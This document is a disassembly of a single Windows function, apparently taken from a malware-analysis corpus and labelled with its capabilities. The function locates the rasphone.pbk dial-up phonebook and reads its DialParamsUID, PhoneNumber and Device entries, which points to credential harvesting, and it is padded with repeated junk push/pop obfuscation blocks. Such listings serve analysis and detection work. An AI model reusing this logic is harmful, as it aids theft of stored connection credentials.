Function at 0x10004fd0
Capabilities:
Check os version
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7cc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x1c4]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push str.Documents_and_Settings_
lea ecx, [ebp - 0x1c4]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x1c4]
mov eax, dword [edx + 0x14]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea edx, [ebp - 0x1c4]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
push 0
lea eax, [ebp - 0x2cc]
push 0x23
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea ecx, [ebp - 0x2cc]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
lea edx, [ebp - 0x2cc]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea eax, [ebp - 0x1c4]
lea ecx, [ebp - 0x2cc]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0xbc], 0x94
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
lea edx, [ebp - 0xbc]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xac]
mov esi, 2
cmp eax, esi
jne 0x10005193
cmp dword [ebp - 0xb8], 5
jb 0x10005193
mov ecx, dword [ebp - 8]
call fcn.10004eb0
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, eax
lea eax, [ebp - 0x28]
add esp, 4
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], esi
jmp 0x100051b3
mov edx, dword [ebp - 0x14]
mov ecx, 0x400
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx]
push eax
push 0x1000
push edx
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
cmp byte [eax], 0
je 0x1000549e
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push edx
call fcn.100059c0
mov dword [ebp - 0x18], eax
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x3cc]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x4cc]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x6cc]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x7cc]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x5cc]
rep stosd dword es:[edi], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x3cc]
push pe_nt_image_headers32
push ecx
push 0
push str.DialParamsUID
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov dword [ebp - 0x20], eax
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x20]
test eax, eax
jle 0x100053aa
mov edi, dword [ebp - 8]
xor ebx, ebx
mov eax, dword [edi + 0x10]
test eax, eax
jle 0x100053aa
xor esi, esi
mov edx, dword [edi + 0x1c]
mov eax, esi
add eax, edx
lea ecx, [ebp - 0x3cc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10005362
mov eax, dword [edi + 0x10]
inc ebx
add esi, 0x301
cmp ebx, eax
jl 0x10005339
jmp 0x100053aa
mov edx, dword [edi + 0x1c]
lea esi, [ebx + ebx*2]
shl esi, 8
add esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x4cc]
lea eax, [esi + edx + 0x200]
push eax
push ecx
call ebx
mov edx, dword [edi + 0x1c]
lea ecx, [ebp - 0x6cc]
lea eax, [esi + edx + 0x100]
push eax
push ecx
call ebx
mov edx, dword [edi + 0x1c]
mov byte [esi + edx + 0x300], 1
mov eax, dword [edi + 8]
inc eax
mov dword [edi + 8], eax
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x7cc]
push pe_nt_image_headers32
push ecx
push 0
push str.PhoneNumber
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 4]
push eax
lea ecx, [ebp - 0x5cc]
push pe_nt_image_headers32
push ecx
push 0
push str.Device
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
pushal
add eax, eax
add eax, eax
push ecx
push ecx
push edx
push eax
push ecx
push ebx
push ecx
push edx
push edx
and eax, eax
pop ebx
pop eax
pop edx
add eax, eax
pop ecx
pop eax
pop edx
pop ebx
pop eax
pop edx
popal
mov ebx, dword [ebp - 8]
lea eax, [ebp - 0x5cc]
push eax
mov ecx, ebx
call fcn.100059c0
lea ecx, [ebp - 0x4cc]
mov esi, eax
push ecx
mov ecx, ebx
call fcn.100059c0
mov ecx, dword [ebp - 0x18]
mov edi, eax
lea edx, [ebp - 0x7cc]
push esi
lea eax, [ebp - 0x6cc]
push edx
push eax
push edi
lea edx, [ebp - 0x3cc]
push ecx
push edx
mov ecx, ebx
call fcn.100054d0
mov eax, dword [ebp - 0x18]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [ebp - 4]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov cl, byte [esi + eax + 1]
lea eax, [esi + eax + 1]
test cl, cl
mov dword [ebp - 4], eax
jne 0x100051fe
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
add ecx, 4
dec eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x1c], eax
jne 0x100051b0
mov ecx, dword [ebp - 0x14]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret